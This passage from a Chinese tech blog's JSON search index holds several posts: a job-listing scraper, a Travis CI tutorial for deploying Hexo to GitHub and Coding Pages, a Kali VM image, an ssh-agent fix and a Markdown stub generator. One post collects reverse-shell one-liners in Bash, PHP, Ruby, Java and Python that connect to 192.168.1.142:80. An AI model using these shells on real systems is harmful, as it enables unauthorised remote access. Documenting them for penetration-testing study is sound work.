style=\"color:#e6db74\"\u003e\u0026#39;financeStage\u0026#39;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;job.csv\u0026#39;\u003c/span\u003e,\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e f:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        f_csv \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e csv\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eDictWriter(f, csv_header)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        f_csv\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ewriteheader()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        f_csv\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ewriterows(jobjson)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e __name__ \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;__main__\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    main()\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eajax动态加载的，直接打开调试工具看XHR即可。\u003c/p\u003e","title":"拉勾抓职位简单小爬虫"},{"content":"等待 hexo-theme-next 主题官方仓库的合并。以后再写，先挖个坑。\n等待 hexo-theme-next 主题官方仓库的合并。以后再写，先挖个坑。\n","permalink":"https://www.hacktech.cn/post/2018/09/gtd-google-calendar-with-hexo-next/","summary":"\u003cp\u003e等待 \u003ccode\u003ehexo-theme-next\u003c/code\u003e 主题官方仓库的合并。以后再写，先挖个坑。\u003c/p\u003e\n\u003c!-- more --\u003e\n\u003cp\u003e等待 \u003ccode\u003ehexo-theme-next\u003c/code\u003e 主题官方仓库的合并。以后再写，先挖个坑。\u003c/p\u003e","title":"WIP- GTD利器Google Calendar与Hexo博客的结合"},{"content":"每次换系统或换电脑之后重新部署博客总是很苦恼？想像jekyll那样，一次性部署完成后，以后本地不用安装环境直接 git push 就能生成博客？那我推荐你应该使用使用 Travis CI了。\n这篇文章我们来讲讲如何利用 Travis CI把你 push 上去的博客源文件直接生成可访问的站点，并且同步部署到 github pages 和 coding pages 。\n这篇文章假设你已经对这些采用 git 版本控制系统的静态博客托管服务有所了解，并且知道怎么去简单的使用 git 以及了解 hexo 写博客发布到这些 pages 服务的流程。因此本文会写的较为简略，旨在指出关键的地方以及我遇到的问题、问题产生的原因和提供的解决方案，希望能够帮助到大家。\n如果大家有什么问题可以直接在下方评论（独立博客采用Disqus，可能需要翻墙），或者直接给我邮件（akkuamns@qq.com），我可能会在以后的时间逐步把详细的流程写出来，时间不多，匆忙之际下笔，望大家见谅。\n看完上面的话，是不是有一种“复恐匆匆说不尽，行人临发又开封。”的感觉，可能废话太多了，那么直接开始吧！\n令牌的获取 问个为什么 首先我们说一下为什么要获取令牌？他的作用是什么？\n先给大家几个流程图，来自于liolok的博客(前两张)和CodingLife的博客(第三张)\n首先是当我们未采用 Travis CI ，直接使用 hexo 的插件 hexo-deployer-git 执行命令 hexo d -g 部署的流程：\n然后是使用 Travis CI 进行将仓库中的站点源文件自动生成站点然后部署到特定仓库(或特定分支)的流程：\n还有一张图大家也可以看看：\n现在假设一种情况：我们把 username/username.github.io 仓库 clone 了下来，然后在它里面新建了一个分支 hexo 并放置我们的站点源文件（也就是你 hexo init blog 出来的 blog 目录下的所有文件），然后把这个 hexo 分支 push 了上去。\n那么你设置这个仓库到 Travis CI 之后会做什么呢？它会寻找 .travis.yml 这个文件，如果存在的话，它就会根据 .travis.yml 来自动执行一些命令，这些命令就可以完成我们的需求。\n然后我们回到刚才的话题，为什么要获取令牌？\n令牌相当于一个通行证，比如要实现我们的需求，我们的 .travis.yml 中需要把 hexo 分支下的站点源文件文件使用 hexo g 生成静态站点后把这个静态站点 push 到我们的仓库，那 github 总不可能让人想 push 到谁的仓库就可以直接 push 上去吧，所以它就是靠这个通行证来验证你的身份。\n所以我们把令牌的key字段加到 Travis CI 后就可以让 github 知道：哦，这个人是已授权的。\n那么怎么做 那应该怎么去获取这个令牌并加到 Travis CI 呢？\n哦哦，忘了说一个东西，如果你仔细看了我刚才的描述，那么你可能对这个 Travis CI 还是不了解，只是大致知道了他可以用来做什么，借用一下维基百科上的解释：\nTravis CI是在软件开发领域中的一个在线的，分布式的持续集成服务，用来构建及测试在GitHub托管的代码。\n你可以把它简单的认为是一个用来 读取你的仓库 -\u0026gt; 读取仓库下的 .travis.yml 文件 -\u0026gt; 根据 .travis.yml 的内容对这个仓库来执行一系列linux和git命令去达到你的目的 的工具。\n那么谈到令牌的获取，这个并不麻烦。\n如果是 github，登陆后打开设置，然后进入 Developer settings -\u0026gt;Personal access tokens 点击 Generate new token，然后会提示你选择这个令牌拥有的权限，因为我们只需要对仓库进行操作，选中 repo即可。\n然后复制那一串 token 先保存下来。\n如果是 coding，打开 个人设置 -\u0026gt; 访问令牌，然后点击 新建令牌，同样的给予仓库的控制权限，然后复制保存生成的 token 。\n然后打开Travis CI 网站，然后点击右上角的用github登录，然后同步你的仓库，再打开你需要自动部署的仓库开关，点击设置进去添加 token 即可。直接给两张图。\n需要注意的是\n每个Token 自定义的 Name 你需要记住，待会在写 .travis.yml 的时候会用到 Display value in build log 这个选项千万不要打开，因为log是公网可见的 仓库的结构 上面完成了，我们来说说仓库的结构。\n你可以把站点源文件部署到一个新仓库（假如是 new_repo），那么你需要更改一下上面的设置，不是打开博客仓库的开关了，而是换成打开你需要操作的仓库 new_repo的开关，然后 Travis CI 再通过我们设置好的 .travis.yml 自动部署到博客仓库\n你也可以把站点源文件部署到博客仓库（下文我以 akkuman.github.io 代替）的新分支，然后 Travis CI 再通过这个新分支下我们设置好的 .travis.yml 自动部署到博客仓库 akkuman.github.io 。\n这里我们采用第二种方案，只是个人爱好，不想再多开一个仓库。\n仓库的改造 新分支的建立 直接看下面的命令和注释吧。\n1 2 3 4 5 6 # 首先把自己的博客仓库clone到本地 git clone git@github.com:akkuman/akkuman.github.io.git cd akkuman.github.io.git # 我们假设仓库下的部署分支是master # 我们先新建并切换到一个新分支，分支名我这里取为hexo git checkout -b hexo 现在我们已经切换到了新分支 hexo，紧接着我们删除 akkuman.github.io 文件夹下除了 .git 文件夹的其他所有文件。\n我们把其他地方 hexo init blog 出来的 blog 站点文件夹下所有文件复制到刚才的 akkuman.github.io 文件夹下。\n站点主题的处理 这里我们需要注意: 不知道你的主题是怎么下载来的，我就分为 1.主题是一个 git 仓库 2.主题不是一个 git 仓库，所以主题可能也是一个 git 仓库，如果你对 git 不熟悉，建议不要 git clone 主题仓库，而是下载别人的 release 版。\n判断一个文件夹是不是 git 仓库，就是看该文件夹目录下有没有一个 .git文件夹，注意它是一个隐藏文件夹，所以你发现你的主题是一个 git 仓库的时候，你可以删除这个隐藏的 .git文件夹。\n那么我们这么做的目的是什么呢？\n如果我们的主题文件夹也是一个 git 仓库，那么我们的这个博客仓库的 hexo 分支下就嵌套了一个仓库，当然，git 也给出了解决方案，那就是子模块。所以目的就是告诉你：图省事可以直接使用非 git 仓库的主题，不用折腾子模块。\n多说一点吧：\n说到子模块，子模块是SSH协议还是HTTPS协议对后面有影响，不过我后面会给一个通用的模板，看后面的注释即可。\n这个子模块你是使用SSH协议还是HTTPS协议就看个人爱好了，我是自己 fork 了别人的仓库然后修改了一下，所以我为了方便期间还是使用了SSH协议的仓库。\n然后子模块怎么使用呢？\n比如我使用的主题仓库是git@github.com:akkuman/hexo-theme-next.git，现在假设我们在博客仓库 akkuman.github.io 下，然后执行下面命令把这个主题仓库下的所有文件复制到站点目录下的 themes/next 文件夹下。\n1 git submodule add git@github.com:akkuman/hexo-theme-next.git themes/next 然后你的目录下会出现一个 .gitmodules 文件，内容格式大致是\n1 2 3 [submodule \u0026#34;themes/next\u0026#34;] path = themes/next url = git@github.com:akkuman/hexo-theme-next.git 关于子模块的知识可以自己查阅资料，我这里不细说了，待会在后面我会给出参考资料。\ngit需要忽略的文件 git 依靠 .gitignore 文件判断那些文件不纳入仓库，一般通过 hexo init 命令出来的站点文件夹下都会有这么个文件。没有也没关系，自己新建一个 .gitignore 文件，内容为\n1 2 3 4 5 6 7 .DS_Store Thumbs.db db.json *.log node_modules/ public/ .deploy*/ node_modules目录是hexo博客实例的npm环境依赖,，据说是质量比黑洞还大的物体， 我们选择忽略它， 反正最后到了Travis那里也会重新跑一遍npm install,，这些东西本来也会删了重来, 没有同步的意义. public目录是hexo生成的静态文件， db.json是数据库文件,，同理,，由于Travis构建流程中会执行hexo clean,，都不需要同步。\n.travis.yml的设置 上面的操作完成后，我们开始着手写 .travis.yml了，先提供一个最简单也是网上博客教程里面最多的版本\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 language: node_js # 设置语言 node_js: stable # 设置相应版本 install: - npm install # 安装hexo及插件 script: - hexo clean # 清除 - hexo g # 生成 after_script: - cd ./public - git init - git config user.name \u0026#34;yourname\u0026#34; # 修改name - git config user.email \u0026#34;your email\u0026#34; # 修改email - git add . - git commit -m \u0026#34;Travis CI Auto Builder\u0026#34; - git push --force --quiet \u0026#34;https://${GH_TOKEN}@${GH_REF}\u0026#34; master:master # GH_TOKEN是在Travis中配置token的名称 branches: only: - hexo #只监测hexo分支，hexo是我的分支的名称，可根据自己情况设置 env: global: - GH_REF: github.com/yourname/yourname.github.io.git #设置GH_REF，注意更改yourname 这个是针对 github 仓库的最简版本，不过有个问题，我们从执行的命令中也能看到，就是部署到 master 分支的站点文件每次都会 init 后在提交，所以每次都只有一次 commit 记录，我建议你把下面的看完。\n我先把文件给出来：\n.travis.yml 文件：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 language: node_js node_js: stable cache: apt: true directories: - node_modules notifications: email: recipients: - akkumans@qq.com on_success: change on_failure: always # turn off the clone of submodules for change the SSH to HTTPS in .gitmodules to avoid the error git: submodules: false before_install: # Use sed to replace the SSH URL with the public URL if .gitmodules exists - test -e \u0026#34;.gitmodules\u0026#34; \u0026amp;\u0026amp; sed -i \u0026#39;s/git@github.com:/https:\\/\\/github.com\\//\u0026#39; .gitmodules # update the submodule in repo by manual - git submodule update --init --recursive - export TZ=\u0026#39;Asia/Shanghai\u0026#39; - npm install hexo-cli -g - chmod +x ./publish-to-gh-pages.sh install: - npm install script: - hexo clean - hexo g after_script: - ./publish-to-gh-pages.sh branches: only: - hexo env: global: # Github Pages - GH_REF: github.com/akkuman/akkuman.github.io.git # Coding Pages - CD_REF: git.coding.net/Akkuman/Akkuman.git 我把需要执行的脚本放到了 publish-to-gh-pages.sh 文件。\npublish-to-gh-pages.sh 文件：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #!/bin/bash set -ev # get clone master git clone https://${GH_REF} .deploy_git cd .deploy_git git checkout master cd ../ mv .deploy_git/.git/ ./public/ cd ./public git config user.name \u0026#34;Akkuman\u0026#34; git config user.email \u0026#34;akkumans@qq.com\u0026#34; # add commit timestamp git add . git commit -m \u0026#34;Travis CI Auto Builder at `date +\u0026#34;%Y-%m-%d %H:%M\u0026#34;`\u0026#34; # Github Pages git push --force --quiet \u0026#34;https://${GITHUB_TOKEN}@${GH_REF}\u0026#34; master:master # Coding Pages git push --force --quiet \u0026#34;https://Akkuman:${CODING_TOKEN}@${CD_REF}\u0026#34; master:master 请把对应的 Akkuman 和 email 还有 username 改成你的配置。\n这里我不详解配置，因为这篇文章已经花了很长时间了，如果大家有需要我再详细写。下面我会给出我的仓库地址，如果有不懂可以去看看我仓库下的例子。\n说着不详解，但是我还是有点自己踩过的坑需要提点一下，Travis CI 进行 git clone 操作的时候，默认是开启 --recursive 参数的，也就是克隆库的时候会默认初始化子模块。这个操作本来是没问题的，那么我为什么要单独提出来说？\n我上面说到了：\n说到子模块，子模块是SSH协议还是HTTPS协议对后面有影响\n问题就是这里了，如果你是用的HTTPS协议，根据 .gitmodules 文件默认初始化子模块的时候是没问题。但是如果使用SSH协议，不管是 clone、push还是其他等等操作， 是要求本机上有私钥，并且仓库那边要有对应的公钥才可以。但是Travis CI 自动部署执行 clone 的时候没有这个公私钥，所以我们只能使用HTTPS协议，但是我使用的是 .gitmodules 文件里面定义的子模块SSH协议呀！我在这里也查了一下，解决方案就是上面的那样。节选出来：\n1 2 3 4 5 6 7 8 9 # turn off the clone of submodules for change the SSH to HTTPS in .gitmodules to avoid the error git: submodules: false before_install: # Use sed to replace the SSH URL with the public URL if .gitmodules exists - test -e \u0026#34;.gitmodules\u0026#34; \u0026amp;\u0026amp; sed -i \u0026#39;s/git@github.com:/https:\\/\\/github.com\\//\u0026#39; .gitmodules # update the submodule in repo by manual - git submodule update --init --recursive 先关闭了 Travis CI 的默认初始化子模块功能，然后后面我们先判断子模块配置文件是否存在（所以我刚才说最省事的就是使用 releases 主题，也就是不含 .git 文件夹的，具体见上面），然后判断子模块配置文件如果存在存在，就使用 sed 把命令把 .gitmodules 子模块配置文件中的SSH协议换成HTTPS协议再执行后面的操作。\n开启自动构建之旅 现在你的博客仓库 akkuman.github.io 文件夹下的 hexo 分支下的东西已经配置好了。\n新分支有了，.travis.yml 文件也有了。\n你现在可以直接 push 上去：\n1 2 3 git add . git commit -m \u0026#34;:constructin_worker: The introduction of Travis CI\u0026#34; git push origin hexo:hexo 然后打开 Travis CI 网站即可看到你的网站正在构建，如果构建失败，上面也有详细的报错可以帮你分析原因。构建成功后即可看到你焕然一新的网站了。\n以后更新 md 就可以用上面的命令 push 到仓库，然后 Travis CI 会自动帮你构建到 master 分支\n题外话 为了以后不用打\n1 git push origin hexo:hexo 而是直接可以使用\n1 git push 我们可以设置上游分支，如果是第一次执行 git push origin hexo:hexo，它会提示你使用\n1 git push --set-upstream origin hexo 使用上面的命令即可把本地的 hexo 的上游分支设置为远程仓库的 hexo 分支，以后 push 就可以简化命令为 git push 了。\n当然你也可以手动设置上游分支，使用下面的命令把本地的 hexo 的上游分支设置为远程仓库的 hexo 分支：\n1 git branch --set-upstream-to=origin/hexo hexo 我的站点仓库配置示例 见 akkuman/akkuman.github.io\n参考资料 Hexo + Travis CI 博客管理 使用Travis CI自动构建hexo博客 使用Travis CI自动部署Hexo博客 Travis CI官方帮助文档 git中submodule子模块的添加、使用和删除 Git Submodule 用法筆記 CODING帮助文档-个人访问令牌 提一句上面的git push \u0026ndash;force \u0026ndash;quiet \u0026ldquo;https://Akkuman:${CODING_TOKEN}@${CD_REF}\u0026rdquo; 网址格式是查询的CODING帮助文档\n","permalink":"https://www.hacktech.cn/post/2018/09/use-travis-ci-update-hexo-to-github-and-coding/","summary":"\u003cp\u003e每次换系统或换电脑之后重新部署博客总是很苦恼？想像jekyll那样，一次性部署完成后，以后本地不用安装环境直接 \u003ccode\u003egit push\u003c/code\u003e 就能生成博客？那我推荐你应该使用使用 \u003ccode\u003eTravis CI\u003c/code\u003e了。\u003c/p\u003e\n\u003cp\u003e这篇文章我们来讲讲如何利用 \u003ccode\u003eTravis CI\u003c/code\u003e把你 \u003ccode\u003epush\u003c/code\u003e 上去的博客源文件直接生成可访问的站点，并且同步部署到 \u003ccode\u003egithub pages\u003c/code\u003e 和 \u003ccode\u003ecoding pages\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e这篇文章假设你已经对这些采用 \u003ccode\u003egit\u003c/code\u003e 版本控制系统的静态博客托管服务有所了解，并且知道怎么去简单的使用 \u003ccode\u003egit\u003c/code\u003e 以及了解 \u003ccode\u003ehexo\u003c/code\u003e 写博客发布到这些 \u003ccode\u003epages\u003c/code\u003e 服务的流程。因此本文会写的较为\u003cstrong\u003e简略，旨在指出关键的地方以及我遇到的问题、问题产生的原因和提供的解决方案\u003c/strong\u003e，希望能够帮助到大家。\u003c/p\u003e","title":"使用Travis CI自动部署博客到github pages和coding pages"},{"content":"起因 这两天来学校把硬盘基本全部清空了，所以以前的虚拟机就需要重新安装了。\nKali 一直用的是 xfce 版本，至于为什么用这个版本，是因为我感觉 gnome3 在虚拟机上表现欠佳。当然，默认的 gnome3 看起来还是不错的，而 xfce 默认的就看起来很寒碜了\n默认的 Kali-Xfce 是这个样子的\n具体过程不表了，如果有人有需要我再发吧，毕竟这次美化过程没有记录，我也懒得再重操一遍了，直接上美化后的截图吧\n美化截图 使用方法 基础使用 注意是64位的镜像，需要cpu虚拟化开启支持\n直接解压然后导入vmware（version \u0026gt;= 10.X）虚拟机即可，默认账户密码为 root:toor\n软件源已改为国内的中科大源，不需要自己换\n系统更新 已更新到 2018-09-04 最新，如果需要更新可以运行命令\n1 2 apt upadte apt full-upgrade 顶栏透明 图片上的顶栏可以改为透明的，在顶栏上右键然后找到 面板首选项 -\u0026gt; 外观 -\u0026gt; alpha 改为 0 ，顶栏可透明\n更新vmtool 打开终端\n1 2 apt update apt install open-vm-tools-desktop 如果有新版本vmtool会提示更新\n下载 校验 1 2 3 4 5 大小: 3649679846 字节 修改时间: 2018年9月4日, 11:18:46 MD5: EDC1BF26205D06EA668F8EA03A05D456 SHA1: 4C2F32BA2DDC53425F34B4316F55C66755A08ACA CRC32: A51255F0 地址 百度网盘 | 密码: jcus ","permalink":"https://www.hacktech.cn/post/2018/09/kali-xfce-vm-amd64-beautify/","summary":"\u003ch2 id=\"起因\"\u003e起因\u003c/h2\u003e\n\u003cp\u003e这两天来学校把硬盘基本全部清空了，所以以前的虚拟机就需要重新安装了。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eKali\u003c/code\u003e 一直用的是 \u003ccode\u003exfce\u003c/code\u003e 版本，至于为什么用这个版本，是因为我感觉 \u003ccode\u003egnome3\u003c/code\u003e 在虚拟机上表现欠佳。当然，默认的 \u003ccode\u003egnome3\u003c/code\u003e 看起来还是不错的，而 \u003ccode\u003exfce\u003c/code\u003e 默认的就看起来很寒碜了\u003c/p\u003e\n\u003cp\u003e默认的 \u003ccode\u003eKali-Xfce\u003c/code\u003e 是这个样子的\u003c/p\u003e","title":"Kali Linux Xfce版美化虚拟机镜像"},{"content":"PowerShell安装了pshazz或者posh-git，但是打开的时候提示 unable to start ssh-agent service, error :1058\n1803的设置上面可以看到这个版本是默认带了openssh客户端的，我们不需要另外去安装，但是命令行运行 ssh-agent 依然是显示 unable to start ssh-agent service, error :1058\n既然有这个东西，但是服务启动失败，那我们看看本地服务，果然，在本地服务中禁用了，我们改成手动或者自动就能解决这个问题了\n","permalink":"https://www.hacktech.cn/post/2018/09/win10-1803-unable-to-start-ssh-agent/","summary":"\u003cp\u003ePowerShell安装了pshazz或者posh-git，但是打开的时候提示 \u003ccode\u003eunable to start ssh-agent service, error :1058\u003c/code\u003e\u003c/p\u003e","title":"win10 1803版本unable to start ssh-agent service, error 1058"},{"content":"Bash 1 bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.1.142/80 0\u0026gt;\u0026amp;1 1 2 3 4 exec 5\u0026lt;\u0026gt;/dev/tcp/192.168.1.142/80 cat \u0026lt;\u0026amp;5 | while read line; do $line 2\u0026gt;\u0026amp;5 \u0026gt;\u0026amp;5; done # or: while read line 0\u0026lt;\u0026amp;5; do $line 2\u0026gt;\u0026amp;5 \u0026gt;\u0026amp;5; done PHP 1 2 php -r ‘$sock=fsockopen(“192.168.1.142”,80);exec(“/bin/sh -i \u0026lt;\u0026amp;3 \u0026gt;\u0026amp;3 2\u0026gt;\u0026amp;3”);’ (Assumes TCP uses file descriptor 3. If it doesn’t work, try 4,5, or 6) RUBY 1 ruby -rsocket -e’f=TCPSocket.open(“192.168.1.142”,80).to_i;exec sprintf(“/bin/sh -i \u0026lt;\u0026amp;%d \u0026gt;\u0026amp;%d 2\u0026gt;\u0026amp;%d”,f,f,f)’ JAVA 1 2 3 r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5\u0026lt;\u0026gt;/dev/tcp/192.168.1.142/80;cat \u0026lt;\u0026amp;5 | while read line; do \\$line 2\u0026gt;\u0026amp;5 \u0026gt;\u0026amp;5; done”] as String[]) p.waitFor() PYTHON 1 python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.142”,80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ ","permalink":"https://www.hacktech.cn/post/2018/08/the-code-reverse-shell-and-port-forward/","summary":"\u003ch2 id=\"bash\"\u003eBash\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebash -i \u0026gt;\u0026amp; /dev/tcp/192.168.1.142/80 0\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexec 5\u0026lt;\u0026gt;/dev/tcp/192.168.1.142/80\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecat \u0026lt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e | \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e read line; \u003cspan style=\"color:#66d9ef\"\u003edo\u003c/span\u003e $line 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e \u0026gt;\u0026amp;5; \u003cspan style=\"color:#66d9ef\"\u003edone\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# or:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e read line 0\u0026lt;\u0026amp;5; \u003cspan style=\"color:#66d9ef\"\u003edo\u003c/span\u003e $line 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e \u0026gt;\u0026amp;5; \u003cspan style=\"color:#66d9ef\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"反弹shell以及端口转发的方法收集"},{"content":"用法：\n1 2 python the.py file_name [article_title] [author_id] # []括起来为可选项 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #!/usr/bin/env python import sys import time def main(): file_name = \u0026#39;\u0026#39; post_title = \u0026#39;\u0026#39; author = \u0026#39;me\u0026#39; if len(sys.argv) == 2: file_name = str(sys.argv[1]) post_title = str(sys.argv[1]) elif len(sys.argv) == 3: file_name = str(sys.argv[1]) post_title = str(sys.argv[2]) elif len(sys.argv) == 4: file_name = str(sys.argv[1]) post_title = str(sys.argv[2]) author = str(sys.argv[3]) else: print(\u0026#34;Usage: \\n\\t%s file_name [article_title] [author_id]\u0026#34; % sys.argv[0]) return with open(\u0026#39;./blog/source/%s.md\u0026#39; % file_name, \u0026#39;w\u0026#39;) as f: f.write(\u0026#39;title: %s\\n\u0026#39; % post_title) f.write(\u0026#39;date: %s\\n\u0026#39; % time.strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;, time.localtime())) f.write(\u0026#39;update: \u0026#34;\u0026#34;\\n\u0026#39;) f.write(\u0026#39;author: %s\\n\u0026#39; % author) f.write(\u0026#39;tags: \\n\u0026#39;) f.write(\u0026#39;- \\n\u0026#39;) f.write(\u0026#39;categories: \\n\u0026#39;) f.write(\u0026#39;- \\n\u0026#39;) f.write(\u0026#39;topic: \u0026#34;\u0026#34;\\n\u0026#39;) f.write(\u0026#39;cover: \u0026#34;\u0026#34;\\n\u0026#39;) f.write(\u0026#39;draft: false\\n\u0026#39;) f.write(\u0026#39;preview: \u0026#34;\u0026#34;\\n\u0026#39;) f.write(\u0026#39;top: false\\n\u0026#39;) f.write(\u0026#39;type: \u0026#34;\u0026#34;\\n\u0026#39;) f.write(\u0026#39;hide: false\\n\u0026#39;) f.write(\u0026#39;config: null\\n\u0026#39;) f.write(\u0026#39;\\n\\n---\\n\\n\\n\\n\u0026#39;) print(\u0026#39;Create %s.md Finished\u0026#39; % file_name) if __name__ == \u0026#39;__main__\u0026#39;: main() ","permalink":"https://www.hacktech.cn/post/2018/08/ink-create-md/","summary":"\u003cp\u003e用法：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" 